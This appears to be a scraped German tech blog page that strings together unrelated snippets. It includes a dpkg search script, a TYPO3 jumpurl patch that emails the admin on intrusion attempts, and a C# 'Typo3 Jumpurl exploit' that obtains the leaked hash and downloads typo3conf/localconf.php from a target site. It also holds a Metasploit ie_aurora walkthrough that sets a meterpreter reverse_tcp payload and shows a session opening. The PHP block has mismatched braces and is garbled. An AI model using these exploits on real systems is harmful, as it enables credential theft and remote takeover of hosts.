monkey-business.biz

#! /bin/sh
if [ -n "$1" ]; then
	dpkg --get-selections | xargs -n 1 | grep "$1"
	exit 0
else
	echo "#\n# dpkgcheck.sh - searchs installed deb pakages\n# Usage: ./dpkgcheck.sh <name> \n#"
	exit 1
fi

if (document.getElementById('divname')) {
// Code ausführen, wenn DIV Element vorhanden. Funktioniert!
}

## Prüfen ob $_GET['jumpurl'] nicht leer ist
if ($this->jumpurl)	{
 
    ## Prüfen ob $_GET['juSecure'] nicht leer ist
    if (t3lib_div::_GP('juSecure'))	{
        $hArr = array(
            $this->jumpurl,
            t3lib_div::_GP('locationData'),
            $this->TYPO3_CONF_VARS['SYS']['encryptionKey']
        );
        $calcJuHash=t3lib_div::shortMD5(serialize($hArr));
        $locationData = t3lib_div::_GP('locationData');
        $juHash = t3lib_div::_GP('juHash');
 
        ## Prüfe ob $_GET['juHash'] gleich der errechneten Prüfsumme
        if ($juHash == $calcJuHash)	{
 
            ## $_GET['locationData'] überprüfen
            if ($this->locDataCheck($locationData))	{
                $this->jumpurl = rawurldecode($this->jumpurl);
                if (t3lib_div::verifyFilenameAgainstDenyPattern($this->jumpurl) && basename(dirname($this->jumpurl)) !== 'typo3conf') {
                    if (@is_file($this->jumpurl)) {
                        $mimeType = t3lib_div::_GP('mimeType');
                        $mimeType = $mimeType ? $mimeType : 'application/octet-stream';
 
                        ## Das Senden der Datei
                        header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
                        header('Content-Type: '.$mimeType);
                        header('Content-Disposition: attachment; filename='.basename($this->jumpurl));
                        readfile($this->jumpurl);
                        exit;
                    } else die('jumpurl Secure: "'.$this->jumpurl.'" was not a valid file!');
                } else die('jumpurl Secure: The requested file type was not allowed to be accessed through jumpUrl (fileDenyPattern)!');
            } else die('jumpurl Secure: locationData, '.$locationData.', was not accessible.');
 
        ## Hier findet die Ausgabe der Prüfsumme statt
        } else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');
    } else {

} else die('jumpurl Secure: Calculated juHash, '.$calcJuHash.', did not match the submitted juHash.');

} else die('jumpurl Secure: Calculated juHash did not match the submitted juHash.');

} else {
	mail(
		'mail@example.com', ## Hier musst du deine E-Mail Adresse eintragen
		'Möglicher Einbruchsversuch auf Ihrem Typo3 System ('.$_SERVER['HTTP_HOST'].') via Jumpurl',		
		"IP:\n".$_SERVER['REMOTE_ADDR'].
		"\n\nUhrzeit:\n".date('d.m.Y H:i:s', $_SERVER['REQUEST_TIME']).
		"\n\nGET Parameter:\n".$_SERVER['QUERY_STRING'],
		"Content-type: text/plain; charset=utf-8\r\n"
	);
        exit('<p>Der Systemadministrator wurde benachrichtigt.</p>');
}

/*
 * [arg[0] = string] die URL zum Typo3 System
 * [arg[1] = string] (optional) die herunterzuladende Datei
 */
public static void Main(string[] args)
{
        // Prüfe ob arg[0] vorhanden
	if (args.Length > 0) 
        {
                // Regulärer Ausdruck für die URL Validierung         
		Regex r = new Regex(@"^https?:\/\/([a-zA-Z0-9]([a-zA-Z0-9\-]{0,61}[a-zA-Z0-9])?\.)+([a-zA-Z]{2,6})/|[/a-zA-Z0-9]/$");
 
                // Prüfe ob URL valide anhand des Regulären Ausdrucks		
		if (r.IsMatch(args[0]))
		{
			string file = "";
 
                        // Prüfe ob arg[1] vorhanden
			if (args.Length > 1) 
			{
 
                               // Prüfe ob arg[1] nicht leer ist  
				if (args[1].Length > 0) 
				{
					file = args[1];
				}
				else 
				{
					file = "typo3conf/localconf.php";
				}
			}
			else 
			{
				file = "typo3conf/localconf.php";
			}
 
                        // Ermittle mit einer HTTP Anfrage die Ausgabe der Prüfsumme
			string content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:", 8192);
 
                        // Prüfe ob Ausgabe vorhanden
			if (content.Length > 0) {
 
                                // Regulärer Ausdruck für die Prüfsumme
				r = new Regex("([a-f0-9]{10})+");
 
                                // Versuche die Prüfsumme anhand des Regulären Ausdrucks zu finden
				Match m = r.Match(content);
 
                                // Prüfe ob die Prüfsumme gefunden wurde
				if (m.Length > 0)
				{
                                        // Prüfsumme wurde gefunden. Starte zweite HTTP Anfrage mit der Downloadanforderung.
					content = http_get_as_string(args[0] + "index.php?jumpurl=" + file + "&juSecure=1&locationData=1:&juHash=" + m.Value, 8192);
					Console.WriteLine("# File content:");
					Console.WriteLine(content);
					Console.WriteLine("# Attack successful!");
				}
				else
				{
					Console.WriteLine("# Hash indeterminate );");
				}	
			}
			else
			{
				Console.WriteLine("# Something is going really wrong. Maybe the URL?");
			}
		}
		else
		{
			Console.WriteLine("# Wrong URL format. Try this: http://<domainname>.<tld>/<dir[OPTIONAL]>/");	
		}
	}
	else 
	{
		Console.WriteLine("# Typo3 Jumpurl exploit");	
		Console.WriteLine("# Usage: http://<domainname>.<tld>/ <file[OPTIONAL]>");
		Console.WriteLine("# More: http://www.monkey-business.biz/495/c-typo3-jumpurl-exploit/");
	}	
}

/*
 * [url = string] die URL
 * [buffersize = int] Größe des Buffers
 */
private static string http_get_as_string(string url, int buffersize)
{
        // Initialisiert den Webrequest
	WebRequest request = WebRequest.Create(url);
 
        // Der Anfragentyp. Wir übertragen keine POST Daten
	request.Method = "GET";
 
        // Sollte keine nach 10000 Millisekunden keine Antwort kommen abbrechen
	request.Timeout = 10000;
 
        // Fehler Abfangen für den Fall das keine Antwort kommt
	try
 	{
                // Die Antwort des Webservers erhalten
		HttpWebResponse response = (HttpWebResponse) request.GetResponse();
 
                // Gibt den Datenstream der Antwort zurück
                Stream resource = response.GetResponseStream();
 
                // Der Streamreader wird verwendet um aus dem Antwort Datenstream zu lesen
                StreamReader stream = new StreamReader(resource);
 
                // Der Lesebuffer zum lesen aus dem Datenstream wird erstellt
		char[] buffer = new char[buffersize];
 
                // Lesen der Daten aus dem Stream
		stream.Read(buffer, 0, buffersize);
 
                // Erstellt aus dem Char Array einen String und gibt Ihn zurück
		return new string(buffer);
 	}
	catch (WebException e)
	{
 		return "";
 	}
}

:~$ umount /media/disk/
umount: /media/disk: device is busy

:~$ umount -l /dev/disk

mkdir METASPLOITORDNER
cd METASPLOITORDNER
svn co https://www.metasploit.com/svn/framework3/trunk/

:~$ cd METASPLOITORDNER
:~$ msfconsole
msf > use exploit/windows/browser/ie_aurora
msf exploit(ie_aurora) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(ie_aurora) > set LHOST (deine IP)
msf exploit(ie_aurora) > set URIPATH /
msf exploit(ie_aurora) > exploit

[*] Exploit running as background job.
[*] Started reverse handler on port 4444
[*] Local IP: http://192.168.2.101:8080/
[*] Server started.

msf exploit(ie_aurora) >

[*] Sending stage (723456 bytes)
[*] Loaden session 1 opened (192.168.2.101:4444 -> 192.168.0.2.101)